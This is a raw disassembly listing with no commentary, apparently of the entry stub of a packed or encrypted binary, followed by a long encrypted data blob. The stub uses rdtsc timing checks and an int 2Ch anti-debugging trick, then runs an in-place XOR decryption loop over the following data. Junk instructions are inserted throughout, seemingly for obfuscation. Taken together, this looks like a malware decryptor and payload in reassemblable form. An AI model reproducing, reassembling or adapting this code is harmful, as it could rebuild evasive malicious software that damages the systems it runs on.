		call	sub_619021


loc_619006:				; CODE XREF: sub_619021+38j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_619008	proc near		; CODE XREF: sub_619021:loc_619037p
					; sub_619021+1Dp
		rdtsc
		retn
sub_619008	endp


; =============== S U B	R O U T	I N E =======================================



sub_61900B	proc near		; CODE XREF: sub_619021+4Ap
		push	ebx
		mov	ecx, 0C99h
		mov	ebx, edx


loc_619013:				; CODE XREF: sub_61900B+10j
		xor	[eax], dx
		add	edx, ebx
		lea	eax, [eax+2]
		loop	loc_619013
		pop	ebx

locret_61901E:				; CODE XREF: sub_619021+Ej
					; sub_619021+10j ...
		retn
sub_61900B	endp

; ---------------------------------------------------------------------------
		db 0BFh
; ---------------------------------------------------------------------------
		inc	ecx

; =============== S U B	R O U T	I N E =======================================



sub_619021	proc near		; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_619029
		int	2Ch		; Internal routine for MSDOS (IRET)
		jmp	short loc_619037
; ---------------------------------------------------------------------------


loc_619029:				; CODE XREF: sub_619021+2j
		mov	dx, cs
		shl	ebx, 0Ah
		js	short locret_61901E
		jnb	short locret_61901E
		cmp	dh, bh
		jz	short locret_61901E


loc_619037:				; CODE XREF: sub_619021+6j
		call	sub_619008
		mov	ebx, eax
		call	sub_619008
		neg	ebx
		push	ebp
		add	eax, ebx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 103FF2h
		sub	eax, 100h
		jnb	short loc_619006
		sub	ebp, 201006h
		lea	eax, [ebp+201070h]
		mov	dx, [eax-51h]
		call	sub_61900B
		push	esp
		inc	ecx
		cmc
		fistp	word ptr [ecx]
		int	7Dh		; not used
		in	eax, 0BBh	; Interrupt Controller #2, 8259A
		mov	eax, 4D5F7585h
		retn
sub_619021	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 40h
		dd 107E3BEDh, 14E4D3DEh, 1383BDB3h, 4F7BE672h, 8BE325B7h
		dd 3AA66A37h, 0F74A1620h, 0A8451B2Ah, 0CE6068DBh, 44808B64h
		dd 0ED9190ABh, 0C81FA3C8h, 9F525060h, 0B5F88F96h, 0C1039CE1h
		dd 416F0BEAh, 42AD84D9h, 413C8C21h, 97528E93h, 329C6674h
		dd 0A50BE1FCh, 5ABE767Fh, 21196F88h, 0CB4DA9DFh, 0D4683AEh
		dd 68C42708h, 8D27D8C0h, 19854B75h, 0B24ADF1Ah,	0A04367FDh
		dd 0D39C3DF2h, 71503BD9h, 4236BF77h, 0E1C72D99h, 6C5CA73Bh
		dd 0D8B02C9Dh, 8AA71B90h, 928C794Fh, 162ED783h,	9668D2E9h
		dd 0E2D83AE3h, 355B0E1Ah, 2402CBC9h, 22AFA564h,	2B1EEA9Eh
		dd 0BBD4C95Eh, 0B11AF07Bh, 958D3F7Ch, 9C95F757h, 0BCB46F85h
		dd 0C5D4A953h, 0C3B093BAh, 0E9BB8C4Eh, 478CA8E4h, 6E1F8FFEh
		dd 5C41BCC9h, 752FADFAh, 30A727C5h, 5C0219ABh, 0DF3D1D9Eh
		dd 63FE012Ah, 0E616BEC8h, 4008BDC4h, 5A77AB99h,	0FD083D77h
		dd 0F454A7B5h, 62F3B3BAh, 0FC9BB991h, 6BEF98ACh, 0FD6CC08Dh
		dd 0A5C046BEh, 168006A9h, 8C32CF28h, 57EFCEA5h,	90A23837h
		dd 760BD62h, 1F57511Fh,	1E7CF52Bh, 0A1844073h, 0DA588999h
		dd 88FC2582h, 23946F95h, 0AFD14697h, 86DD6691h,	0B6EE650Fh
		dd 0B2F51706h, 3CCA7C0Ch, 6158FF64h, 2F530E07h,	0BB442694h
		dd 482075A6h, 0B3CB2D6Dh, 128D9895h, 1DA99924h,	2ABAB7E1h
		dd 0D4C490D2h, 0A7488EA0h, 675C7569h, 18B2A4F3h, 4B199FE4h
		dd 0CE6A2FEFh, 0F623F0E8h, 0F5AAB132h, 13285DFEh, 0F8A6D2E6h
		dd 804CBE65h, 0FCA2C0E3h, 0A709F3F4h, 55E4DDFh,	8E1EF0D9h
		dd 419AA5DBh, 91185331h, 0D996BCD7h, 0F64356BDh, 1EFA8DD2h
		dd 5C106051h, 6A7525Ah,	0AA06004Dh, 0B875EBCAh,	0B12846FFh
		dd 3486F72Fh, 0BA8F9F45h, 3BE8F9C3h, 0D50A9E18h, 78EBFFB5h
		dd 2EFCA417h, 0F4F9C44Ah, 0CCD8A2E3h, 3EF201B7h, 3BF49237h
		dd 577215B5h, 96B4CD7Fh, 0CB911CE3h, 0E1CC89DFh, 72109626h
		dd 21DBA709h, 462C972Ah, 0E355AE05h, 71C4D930h,	4B63B521h
		dd 7A7E12E9h, 0C758B31Dh, 0A5A3F99h, 24F28D9Ch,	8926B997h
		dd 22C14F9Ah, 32D34DB3h, 12F0F804h, 964EAB70h, 1BD75F02h
		dd 18C15B8Bh, 20E8F55Bh, 2B471278h, 7ED8480h, 0C9FFE883h
		dd 0D1C0CD28h, 0BD3E7080h, 35BD0F7Ah, 0EFB7FC7Bh, 0DFB8DAD3h
		dd 0C147816Eh, 6ADB847Ah, 7AB38553h, 4A90219Eh,	0CE2E7390h
		dd 507788E2h, 33C2936Bh, 0D5A816E8h, 0FC0C56DAh, 356B96E5h
		dd 1CFB5763h, 87232091h, 0E95EC25Ch, 6DF67C24h,	4497B731h
		dd 74B827BEh, 0F816AAEEh, 3690B4D5h, 0ED42ADh, 861DEBB7h
		dd 60EC402h, 42721CDh, 3FA1CF0Ch, 3BEEE22Dh, 0C08D29A5h
		dd 0B7EC55AFh, 9002D91Dh, 1580360Dh, 49FE8AFBh,	0AD7C63BDh
		dd 7AABA751h, 532864D3h, 0FDCB4A2h, 77F729B5h, 68D29D73h
		dd 6EFB78B1h, 0F165FC45h, 0C1067BC7h, 2EB80141h, 9648EEA9h
		dd 4B8C0A27h, 9F9BE7F4h, 78BC84DCh, 8F3F9481h, 0DDD1E79Ah
		dd 0DD5C9AA0h, 70DAAA96h, 6CE1A2B9h, 0ECD62610h, 6AF15A7Ah
		dd 4EC22DFEh, 27D53D91h, 8ACE141Ch, 0FAD93A6Dh,	2ECA1B12h
		dd 2A5A2B76h, 952E4227h, 4B44C585h, 0FFA9266Ch,	67329CF1h
		dd 0F4D22689h, 746AB61Ah, 0D9DF2397h, 89C78A79h, 9F967459h
		dd 0A8664FCh, 0F2E264D3h, 0D55AC81Bh, 87CCFE10h, 0F1A9EF4Dh
		dd 229507B4h, 6E7EF403h, 0BACCAD6Ch, 3F351537h,	0A7F180E3h
		dd 33426125h, 0A0ECD7B8h, 2870622Bh, 869AEBBCh,	7DAA87A6h
		dd 131D95F7h, 0B424F03h, 4B6DCB85h, 62300A1Bh, 0B29E674Ch
		dd 40AEB2B2h, 0ECE0AAEBh, 0E5F72C23h, 0F3A6981Dh, 77051DFCh
		dd 1BA92FC3h, 2A2430C8h, 23EB40E8h, 0B7FC6317h,	0B2DF454Dh
		dd 8BF86A13h, 9A899AE3h, 92D47B13h, 4A061436h, 9D0EDB77h
		dd 699135DDh, 0A0865709h, 0B195C8C1h, 0A7C84C37h, 0F7122922h
		dd 0AA3385B6h, 0FB51F0A3h, 8CD097B0h, 19744D1Ah, 3DF40E1Dh
		dd 404A825Ah, 938CD219h, 170654C1h, 18417646h, 0CB522CBAh
		dd 0DEA4C9D1h, 5D6A6770h, 0F2761282h, 0D7A21AABh, 8C3761F4h
		dd 4AE4B478h, 7E2FA525h, 6B6AEC02h, 1297AC01h, 51178DEAh
		dd 56294DFDh, 913A1652h, 44742FFh, 7F363D77h, 0CB879AF5h
		dd 0D7631522h, 0DB0C699h, 0DCEAC06Fh, 9BA0A4BDh, 0C2E900AFh
		dd 17FCA38Ch, 64D9B98Fh, 531511Ah, 0F0224076h, 0DAF0B2B0h
		dd 8937C1CAh, 0C5869DDh, 0B053E398h, 33C0A981h,	0B7166B77h
		dd 3A94E8EBh, 0BE127C52h, 4190FFD1h, 0C50E834Fh, 0B7DF509Ch
		dd 0EC2324DEh, 0E3D1A6C9h, 287351C3h, 0A47FA27h, 0BF71F901h
		dd 38ED7A8Fh, 8A9CD05Bh, 170841D8h, 849FF567h, 19117FCDh
		dd 82F6D843h, 110644C6h, 99F2C052h, 150243C2h, 0BFEED54Ah
		dd 0F40D5BDFh, 6F83844Eh, 0C46804CCh, 7E87AC55h, 0E20D0AC0h
		dd 61839D46h, 0F20E3AD1h, 6A9DD75Eh, 0F9283BF8h, 7CB5AC4Bh
		dd 0E22B12FCh, 43A4A617h, 0F8311CF4h, 59BD8176h, 0C3383BF4h
		dd 34AA926Ah, 0D92904CEh, 539E9F7Fh, 0DB2918FBh, 27B44207h
		dd 9221F0E4h, 21AE676Ch, 0FE30E7E4h, 31D05DCDh,	0BB54E10Dh
		dd 2FFF158Fh, 0B36CED10h, 3AD77985h, 9651E775h,	0DE4AB5h
		dd 9B44D330h, 18DB4886h, 0F06DDD08h, 35DE54ACh,	0A44DD900h
		dd 7AC3428Eh, 0B850D922h, 0D5C7538Ah, 545AE08h,	0C5EA2398h
		dd 6069AE32h, 0E3F30BBEh, 7E799F3Ch, 0D19615B2h, 7559AC30h
		dd 0F8FE2EB7h, 457EBE19h, 0A4CF07A3h, 7B78830Ah, 0CEFE1AB2h
		dd 5D61A924h, 0DDF213A2h, 36458D37h, 0EDF61284h, 7B709624h
		dd 8E1B12D6h, 2996F5Ch,	0B31FC2BBh, 3A956C6Dh, 0A602EDE7h
		dd 34B31074h, 0A717C5C7h, 369F7E42h, 0A80BDDAFh, 2C9E7B7Bh
		dd 0A604CEC2h, 21E86451h, 8530DCC2h, 8895949h, 9E04C1EAh
		dd 815E53h, 0B930D9F6h,	14B07D1Dh, 0BE36DCF9h, 0E1B72D75h
		dd 67398897h, 0EBBD0471h, 7420AAE1h, 0F19D4F50h, 712784FFh
		dd 0D1AA197Ah, 1B2FB5E2h, 0F0AD2D46h, 472A89C1h, 0D5B40548h
		dd 682589EAh, 0C9B02401h, 5F4CBE11h, 0C0CF149Eh, 5848A57Bh
		dd 0C9CB1D9Ah, 5770CE44h, 0C1C00C87h, 265D7123h, 0FBC3F594h
		dd 344B445Dh, 0AAFE8D99h, 3A6C750Ah, 85A8F185h,	33606C02h
		dd 0A9E5FE89h, 34B6D17h, 97C5D694h, 0D4D261Eh, 87F5EFA9h
		dd 6757D3Eh, 80FDC4B7h,	2736757h, 9CF8DE93h, 187F5207h
		dd 65FCEDD1h, 0D10E322Ah, 77EDA8A3h, 0FC6F201Dh, 67CEAA86h
		dd 0C406352Bh, 60F0A1ACh, 0F5433B22h, 1CE3B5ADh, 0EB972C68h
		dd 4F15A7D8h, 0D2B4655Eh, 5F128CF8h, 0DFA61844h, 5D1D99DCh
		dd 0C7971456h, 5D1B99E5h, 0CFA07A41h, 5E098FEEh, 0ABACE45Fh
		dd 86861C5h, 0AC94CB53h, 1D017FC4h, 0B581E051h,	1A6061D2h
		dd 0B2ACD56Bh, 0B396DFCh, 0BBB9F269h, 1A1D53EAh, 0A6A2EA17h
		dd 1D3542E7h, 8FB7F876h, 1E3F47E5h, 0BEBAFC0Fh,	1E1A45ECh
		dd 9C85CE6Eh, 0A2B59DAh, 1A8AF6Eh, 0F50B37CBh, 7A92A966h
		dd 0FF2529EEh, 64D1998Ch, 0DD3C3F18h, 73CA9B8Fh, 0F95D0B17h
		dd 73D9B283h, 0F1401175h, 41C68D81h, 0C1661212h, 4ADB9D9Dh
		dd 0C2492001h, 32D38284h, 0C3790027h, 6ADF8582h, 0D850081Ch
		dd 26CCB78Eh, 0A54DF00Eh, 29F16CABh, 9C68C75Dh,	2BEE65A9h
		dd 0A66AF90Fh, 18FA72A2h, 0AB7BFA30h, 28C01AAAh, 897ECB3Dh
		dd 6EA4EACh, 8E7ED11Eh,	5DE4FA5h, 877BC208h, 18F45B94h
		dd 0A204D42Bh, 0CD17790h, 8974C820h, 131D3DCFh,	7199B252h
		dd 0E31127D4h, 669BC84Dh
		dd 0EE1325D9h, 7593CF41h, 0E71D3AC7h, 7989B445h, 9B0B34CEh
		dd 688FB85Fh, 0CC0F13ABh, 4A9BE44Dh, 0DD030CC4h, 588AA225h
		dd 0D50C1CC6h, 5C8CB155h, 0D61610ECh, 5FB09D73h, 0CA34359Bh
		dd 24B6727Ch, 0B133C4E3h, 26BA6856h, 0A926E9F6h, 2EA45D75h
		dd 9A4EF4FBh, 24A96163h, 953EFDE5h, 1CA67979h, 9528D687h
		dd 1AA5160h, 8D32E9F7h,	7B27F6Fh, 8177AD3Eh, 1CCE5589h
		dd 9368C01Eh, 10FE5398h, 0BC36DE1Bh, 0D0F568B1h, 2A00F13Ah
		dd 87FC09B5h, 4849AC3Dh, 0EBDF2381h, 1253B520h,	0DACF36BBh
		dd 5248B217h, 0E4E12380h, 4570DE22h, 0C6D53086h, 46489C2Dh
		dd 0EFF91DB1h, 7C1AAD23h, 0D4CB08BCh, 5977A523h, 0C0D113A0h
		dd 0D591FA12h, 0EE5856D4h, 430E0127h, 0E2C00925h, 200A6248h
		dd 9ED8DACCh, 9D8D0A2Dh, 84501995h, 9427C17h, 4E7FCA93h
		dd 5EDE3755h, 1D70643Eh, 45D056AEh, 0E1BC24B9h,	0E97B7CF4h
		dd 0F054BBCCh, 19A2CD00h, 87EDFB1h, 5AC423BAh, 8AAC39ADh
		dd 0A1821054h, 8E68C3F7h, 3E62DF3h, 6424A069h, 8FF24E23h
		dd 7932D3CBh, 0C8FE3D1Fh, 1A36D89Dh, 628A0F4Ah,	172810Ch
		dd 5B8F3C17h, 87D4400h,	0DF2DEF13h, 7FDD66DAh, 51CE511Ah
		dd 36D97981h, 0BACA581Bh, 0C21BAC58h, 8E43F4D5h, 0C94422AFh
		dd 0C7DB928Ch, 0B418E181h, 4B357300h, 521C3A2Fh, 0CCDB1C76h
		dd 1ED01779h, 57496508h, 401E48F0h, 977224F3h, 9BFA87Ah
		dd 2AEA8F6h, 91D3D35Fh,	32F56860h, 7528DB3Ch, 79FBB6E7h
		dd 5C3E1888h, 726B8EE3h, 0A3003DE4h, 57CA95DFh,	0DB4D180Ch
		dd 244C5E24h, 959F4F79h, 0B6032DF3h, 0C514767Ch, 4E92DD11h
		dd 9F105DB9h, 0CF0FBDCFh, 0A62C7E1Ch, 0BC0718A1h, 0AD287155h
		dd 104BBC97h, 0B42E7261h, 518E3140h, 0A162FC86h, 1EB3FC9Fh
		dd 0DB9805FAh, 455E039Bh, 0BA58713h, 4D1C0BDDh,	0BC0BBDCAh
		dd 0D667EEB7h, 0BE00E1F1h, 5A6E18A4h, 0DEB74CA6h, 0D4E723FBh
		dd 0E4C8B9A9h, 696A9C2Ch, 616FAA25h, 6F622CABh,	39CB4922h
		dd 8595BFFFh, 0FCA8D9BBh, 96AFD9DCh, 0F1F3CDBh,	0D782C9C0h
		dd 53840A9Eh, 0D90309F9h, 9B2F327Bh, 926E7AE5h,	9EC0108Eh
		dd 0B963891Eh, 9F1FF009h, 0A781596Dh, 232CE26Fh, 6441320Ah
		dd 47C68h, 2A3B6C5Fh, 0F18FE7F5h, 3C20C339h, 1892326Ch
		dd 31D48D77h, 0C11E9CB7h, 0D3F4BAh, 46B0ECA4h, 4B73886Fh
		dd 6DB71900h, 19B7046Bh, 0D7A832C3h, 0D82EB21Bh, 5B1D9DEAh
		dd 33A39D63h, 62A022E9h, 0E71ACC0Bh, 0FC6327DDh, 0ED3A82A5h
		dd 0F415D252h, 0F417B673h, 77FE65D5h, 0FB12BDBBh, 2AC26AD1h
		dd 97F1974Fh, 85AC6A37h, 9E870E78h, 8C884BCDh, 126C9F16h
		dd 0FB853B94h, 5702D543h, 5C15A793h, 8BFEFC16h,	0FA08A938h
		dd 2092B76Bh, 0FF7866B8h, 0BD25EC8h, 50746DB7h,	12D857A6h
		dd 76F52DB1h, 2D0DEE5Bh, 0D7B8F0FDh, 17BBAD2Bh,	82FD7DFFh
		dd 1EE6260Dh, 1B114920h, 0EC77F275h, 5F60B088h,	28C5048h
		dd 5404D3F7h, 5CDB1F8Ch, 206B3599h, 908F327Dh, 0B704F53Eh
		dd 3A827943h, 20C553C3h, 0F0CE1026h, 0F54EBB49h, 5CBEC80Bh
		dd 6ADD4581h, 2CC61E2Dh, 29D2547Ah, 449F4523h, 34C0C885h
		dd 0CBBF3EF5h, 47042F6h, 8D5952DBh, 83843F4h, 4AB559D7h
		dd 9BE62223h, 5D3A6F33h, 2930E471h, 0A9AE976Bh,	17126B6Dh
		dd 30EC7E9Eh, 0B027F257h, 0B7A67506h, 4E04C7E5h, 80233A12h
		dd 56E4931h, 0A15A1AAh,	61D419Bh, 0A6CB44F0h, 34E5F59h
		dd 0F9180428h, 6C4D1575h, 65179712h, 0B7101C51h, 0E18E9F7Eh
		dd 375C1DCCh, 6D85F082h, 6C082AECh, 438E6B44h, 0F70B3C79h
		dd 0F682B45Ah, 8975187Dh, 0F2448713h, 80FCB3B8h, 24776FBBh
		dd 0BAD86619h, 7F13AE96h, 0B2583240h, 930EA593h, 0FDD0AB4Fh
		dd 681BA3DBh, 0ECEF25ACh, 5545F191h, 5CAFA441h,	9D57EAA7h
		dd 0AAE44E35h, 0D1300E54h, 91CA4AB4h, 659EC09Fh, 508C274Dh
		dd 3C5AFA92h, 0D1AF115Dh, 27376EFBh, 58417A15h,	0CF5228B9h
		dd 0FEE6F8D1h, 99CB8646h, 85CCB327h, 584916E3h,	8D99CB8Dh
		dd 0FDD3E2D7h, 6FC4812Fh, 46592816h, 20F3F801h,	3F6E7A2Bh
		dd 6543FFACh, 741A1BADh, 89CB17Eh, 5B1F9BE2h, 7E7744F5h
		dd 0A2277FFEh, 0C649C2F1h, 8D0A1BE4h, 0CACCA05h, 7DAB136Bh
		dd 1388CCF0h, 0B936E8ECh, 0AF2FD8C5h, 9E02727Bh, 0AC2B24E2h
		dd 0A53E4D4Bh, 0AD17432Eh, 0AC3A444Bh, 1947852h, 36157177h
		dd 36B4DAD1h, 327A7ADAh, 0C290FBC2h, 0E12445DAh, 1845E9CDh
		dd 0A17CE30Fh, 1BD46CAAh, 0A675F42Fh, 1FE871A6h, 0A46DF926h
		dd 8BB317B8h, 2AAC54B4h, 81FF4C64h, 0E0BAC838h,	0D2A7240h
		dd 0BD43242Fh, 0D7740CA8h, 0F1F2B024h, 8B3D373Ch, 9E1148D0h
		dd 3168B706h, 0FFEABE2Bh, 0C4E5EACFh, 0E2D46E23h, 68CF2E09h
		dd 0D7741D8h, 0C5606F8Fh, 0EB8CD575h, 0B8763008h, 3FAE511Bh
		dd 879CDE91h, 0A7D92192h, 0A6546530h, 9BAE879h,	0FB506B90h
		dd 0A531E465h, 0B46C58E3h, 0BCC6A880h, 26C169C7h, 3EE6D303h
		dd 0EC4C0D0Ch, 0A6430423h, 0C6BF7781h, 4CD459AEh, 65C38817h
		dd 539A3FFBh, 0FD2E0086h, 0A5E618D7h, 0FE1A9CC0h, 0C327E0F3h
		dd 0BD308358h, 673DE66Ah, 0EC2DFEE9h, 542B4BEBh, 0FF5CEB24h
		dd 4833CBB4h, 1324984Fh, 7DA23AA2h, 1E801ECh, 339142DFh
		dd 7C91D813h, 8FF256EAh, 5818CD58h, 0BB60C528h,	4142D475h
		dd 0B02CC22Ch, 5E9BDB71h, 2B4D5DF3h, 0F70F9A1Dh, 2CAA1740h
		dd 1F85F103h, 0AD2B3DF4h, 337C7186h, 0C7E720A6h, 0CBE2F235h
		dd 95D391E6h, 4D77DA31h, 3079D89Fh, 49E457B2h, 0C9388C00h
		dd 0CFC087E6h, 9FF97CB0h, 58459A39h, 536EB681h,	5F59211Bh
		dd 0AD6ABD85h, 665D0AAAh, 0DD668489h, 49CA2090h, 9CE1A4A3h
		dd 431FD0DEh, 0E4EB3B5Fh, 0FEDC1633h, 0DB74AD16h, 14886D19h
		dd 33C9094h, 85D4447Dh,	8CAD9013h, 8CF05E59h, 39885B70h
		dd 1E33522Dh, 176AC0C3h, 9537A18Ah, 0E1B9E703h,	0A141E9FAh
		dd 4F42C3ADh, 0FEC00D01h, 1EAB152Fh, 24BC4DD7h,	1314E5FEh
		dd 0B458B5F9h, 3A5CA827h, 97BAEE0Ah, 0C4BBFF53h, 0C490ACE9h
		dd 4844D2E4h, 9B9E76BFh, 612AB894h, 475790C9h, 56063E4Dh
		dd 0F7A4126Eh, 59AB1B43h, 423561C5h, 0EF1E0276h, 5217998Eh
		dd 6B3A0743h, 0DA82F852h, 0E73DCEDCh, 0F5B49DD1h, 5706BAD8h
		dd 0D73DBAF1h, 7AEC958Dh, 1E9C4440h, 0D65B456Bh, 5BD9989Ah
		dd 0A7D0D9B8h, 0EED4CFE5h, 0B52BF1D6h, 6BA515C1h, 0FEC47005h
		dd 731EBCD3h, 0E2C0055Eh, 4A1D8CCAh, 87C45B5Bh,	11887D1h
		dd 0E3F25E1Eh, 7124A1E8h, 0C2AD2A62h, 55098BDFh, 0D0853E5Fh
		dd 2E0772DDh, 9992E174h, 3F1662F6h, 0BF87E84Ah,	31085DFDh
		dd 92BAF76Dh, 243976FEh, 0BB8AC568h, 3B357DEBh,	92A4C563h
		dd 173D65C9h, 84B3D076h, 3F7AFDh, 0B3B7CD66h, 1D2D45DEh
		dd 92B8D46Fh, 1C274AD9h, 0A1A3D06Eh, 0E9304AC4h, 7EABB16Ch
		dd 0F80122E4h, 68D7A58Fh, 0E055391Ch, 5EE6A395h, 964C2710h
		dd 4DF098A4h, 0D8661A22h, 43DB93AFh, 0CB430D03h, 70F29189h
		dd 0C4480704h, 6DF69F9Ch, 0D75A021Ch, 50F08789h, 0D64D0417h
		dd 44E7A68Dh, 0B24F1211h, 179E73BAh, 0A27BF73Ch, 39F540AFh
		dd 0CE1A8C2Dh, 23C35FD7h, 0A76443DAh, 35FB6EBCh, 0B764F47Fh
		dd 2FE273BDh, 8D658F2Ch, 288A4BADh, 0CA43EB00h,	1CEC47A8h
		dd 8867DB31h, 31D167C9h, 0B27A9613h, 5B3070F0h,	8C95CB1Bh
		dd 884935CFh, 5F82C6Ch
		dd 82B47B7h, 2CD449D8h,	0AFF788B3h, 13F0F224h, 0BD6CC050h
		dd 0F22DD90Dh, 0F45628B4h, 975D6B37h, 0FC66438Eh, 5DCADB89h
		dd 92E30C89h, 0C95F3DEh, 99E0CC12h, 4057F53Dh, 0DCFF2F99h
		dd 0D75D71BCh, 4E565FBFh, 64FD1390h, 8EDB7C93h,	0B59E86EBh
		dd 2D4F3C74h, 0DF90FAC2h, 0F65FED0Eh, 59A24809h, 48B995EDh
		dd 60E4351Fh, 0EC66DE00h, 8F845305h, 0EB3EA977h, 40FF6AAEh
		dd 0F276FC3Fh, 5C4AA606h, 393DB757h, 16272881h,	95CDED71h
		dd 8390685Fh, 0EFBD1590h, 7553B19Eh, 0E2AC783h,	0D2EE1CE9h
		dd 3B759C38h, 98E81AA1h, 35D04F9Ch, 0C7485DC1h,	0CBE11EA6h
		dd 0A69C64D6h, 785FBB0Eh, 0E9B659EAh, 0CE16A31Bh, 94BE6040h
		dd 38181E53h, 0C8E779D1h, 51678F3Fh, 0C2CDE6B9h, 0E89FFB1Bh
		dd 4088A7E0h, 6D2FB1C2h, 5DB581C5h, 741B11CEh, 13051CC1h
		dd 0BFE3915h, 0F46E0942h, 969201Bh, 0E578A3BDh,	71E692BAh
		dd 612DAA95h, 4FD8848Eh, 0B259B1h, 0B188CAD0h, 0DA4CF828h
		dd 0FEBA3C2Bh, 2148FD0Ch, 116B4327h, 844E6A5h, 8A881E73h
		dd 6732CDCBh, 12DE511Dh, 3CF24162h, 595F583Bh, 907AAEC3h
		dd 80F66C9Ah, 223EB095h, 8792D39Eh, 7D04E9B1h, 0FC9F3D5Fh
		dd 18FE6572h, 4A92742Bh, 19625D1Ch, 7743BD07h, 4044DEA9h
		dd 3C31B1EBh, 2CCDFA7Eh, 0DBEA8EDh, 6E2917F8h, 8EEED9FBh
		dd 0A626FB4Ah, 5D716908h, 5C140F6Eh, 0EBEDC9A5h, 9CC32E99h
		dd 0FD2B6310h, 3C2C0878h, 59EF493h, 8ED7DC69h, 0E1BD3720h
		dd 1D723645h, 3291ED95h, 513CB8ECh, 53CFC0FFh, 0D74C150Ch
		dd 9C65968Ah, 8D386153h, 3A945B28h, 7CD55275h, 0FFE6A0CCh
		dd 9B10595Dh, 49C2949Ch, 8C45300Ch, 25C6AF8Fh, 831AF2B6h
		dd 206EEAE7h, 0E3046E45h, 47E7A28Bh, 0C26C1417h, 6A7EB9DAh
		dd 9452E9C2h, 0CCE9FF9Bh, 0E4D24F8Ch, 48BE6EB7h, 0A1A28A35h
		dd 0A1E7F2B3h, 5FF0B118h, 76717A3Ah, 4D51152Dh,	0B6A3B80h
		dd 7517C87Bh, 64460B1Dh, 6AE862A6h, 4B7DA236h, 84B7FD21h
		dd 1A0C669Eh, 75DCB41Fh, 0D6B2E464h, 7F2744E3h,	0A0433F2Ah
		dd 8A0C215h, 8741CDFBh,	30453611h, 664E6CA5h, 11CCD001h
		dd 0D60500DCh, 36FAE442h, 9C0A16C3h, 35D64BFAh,	0CBD161A3h
		dd 26C0E506h, 0B259DDF2h, 0A0E5EBDDh, 911015C6h, 0C6EA1AF9h
		dd 0B4DE8988h, 6CB4F9F5h, 0F17B333Ah, 69E54B4h,	392EC823h
		dd 69861578h, 0C2EA0E6Bh, 50AA3B6Dh, 0D14E0167h, 0DAA415E5h
		dd 0FB3A3CD6h, 0E32D45E1h, 0E23E8AC9h, 9A6E3835h, 73A724A4h
		dd 6C980AF3h, 0F2062A58h, 9F1531D5h, 0F712B4C3h, 7B915085h
		dd 6BF1BC4Fh, 81AC15B7h, 49A07CAh, 3D846C9h, 5E06A093h
		dd 0A51ED83Ah, 0D387D163h, 0FE8D2198h, 19FECBB7h, 0B746CE42h
		dd 0C211DF1Bh, 843ADF3Ah, 52F6E617h, 0EDF1E49Ch, 7EF2CD13h
		dd 98F6E54Eh, 0F56BF40Fh, 0B8E5F3A2h, 7C61FB2Bh, 3F68F5A5h
		dd 1638D17h, 164A585h, 6ACEC2A6h, 0CE0A8DA1h, 53B41175h
		dd 0FFCE0662h, 0A059173Bh, 0BCDC9566h, 0CCD61E16h, 0C36A3418h
		dd 76B82533h, 7FAFFBC3h, 6DEE068Dh, 74436F08h, 74CA324Bh
		dd 0D8280B04h, 73773A27h, 0B3BE6Dh, 825629FCh, 2D1EC481h
		dd 0AD8ACE19h, 0BA93429h, 1DBA6ED1h, 3418BCC4h,	7FB7E4F7h
		dd 0E4CB2F91h, 0BEE9C97Eh, 225AE051h, 0A5AE7787h, 0D67FB56Dh
		dd 8C80E47Eh, 146C6369h, 0AF33FCF3h, 6724D54Bh,	31A8CEECh
		dd 0FF34D825h, 8B9C773Fh, 4756115Ch, 0C399CCC9h, 0CC102E1Dh
		dd 2F578236h, 171F405Dh, 0E46D84F7h, 96AD9501h,	358EBBE5h
		dd 610C1F51h, 9CBC8CEEh, 46280869h, 0CEA393E7h,	173C0360h
		dd 0D7A2C8E6h, 394A3E32h, 0F95EF9F6h, 0C669C46Ah, 817A9E92h
		dd 83F8EEFDh, 5776AFB7h, 1F0B1A62h, 0E52E63Dh, 84F1DDBAh
		dd 1504D38Fh, 51874CCEh, 19828BA6h, 0B9E85E29h,	236C8582h
		dd 1C719A72h, 0A962C88Ah, 46B060E5h, 31568794h,	951731Dh
		dd 387AD6EFh, 2E27294Eh, 3F76D719h, 96AA4190h, 6C9EB11Eh
		dd 6C538831h, 4D6E1E8Eh, 1B41020Dh, 7F4A32A7h, 86C8FCC7h
		dd 0CEB94AD1h, 0DEE4B78Fh, 1C42D800h, 1B4B352Eh, 43F292F2h
		dd 0E10CAADDh, 604F8089h, 5545999h, 557CA88h, 77BD5BE2h
		dd 94D93D04h, 0CF9B707Ah, 0AFE2FEE2h, 0AC5FC6CDh, 35C1BDECh
		dd 713D32BAh, 1326714Dh, 36B1EB58h, 0B0565963h,	1DD5EB89h
		dd 9B8BA05Fh, 0A49CC2F7h, 8836ADE6h, 3AECE9D9h,	8F54E890h
		dd 3294F0F5h, 33D47453h, 39B0DB1Ah, 4306924Fh, 82D10132h
		dd 7187824Fh, 47A82905h, 29937611h, 0CD842CECh,	560D6FBBh
		dd 5580137Ah, 0F52E12B6h, 5C161A9Dh, 0F16F616Dh, 0E6780193h
		dd 4272AAF7h, 417428B5h, 87A2FCF3h, 701A7FB2h, 0F4EEB347h
		dd 0ED93606Dh, 0FBCA93EDh, 7097C52Ah, 2E5C5A3h,	52E1CDA5h
		dd 84E2E80Eh, 0AD4D932Ch, 0F04B421Fh, 0C55C72B0h, 47DABC49h
		dd 0B2B2CC66h, 0E655DD37h, 70D06F6Ah, 4FD2E411h, 7DE59891h
		dd 0D3CECB22h, 90658818h, 0CC32710Bh, 0B5F3F186h, 0BF4FF907h
		dd 0BE64516Dh, 82C1C930h, 0AF11D3D0h, 0FD4157FBh, 0CC1CA7A9h
		dd 66709804h, 13BD9159h, 542190F8h, 13079875h, 705E9E7Ah
		dd 0B0619F51h, 64B14ABEh, 177CA662h, 4B803F7Eh,	0E0E82869h
		dd 72A46063h, 6A13D65h,	0BAA217CEh, 4518F0EAh, 809E60C0h
		dd 0C51F106Eh, 666DB42Ch, 26E44CD0h, 0C51D4CF7h, 0BB56869h
		dd 47A153D3h, 0E8E71652h, 1907BB38h, 202CF3B9h,	0E83D6E08h
		dd 11EB1C4Fh, 0A59E3B4Ah, 2D10AFF2h, 70E92613h,	0B4D0F069h
		dd 0D1092985h, 25880353h, 0B300FEF2h, 0C9277338h, 84FDB8FCh
		dd 59B60B21h, 323ACF3Eh, 91D3D6C6h, 0F9861794h,	0E2F160Dh
		dd 0D74EDD20h, 5E5095A0h, 2255A0A7h, 8E2BAFE6h,	25DF2AA8h
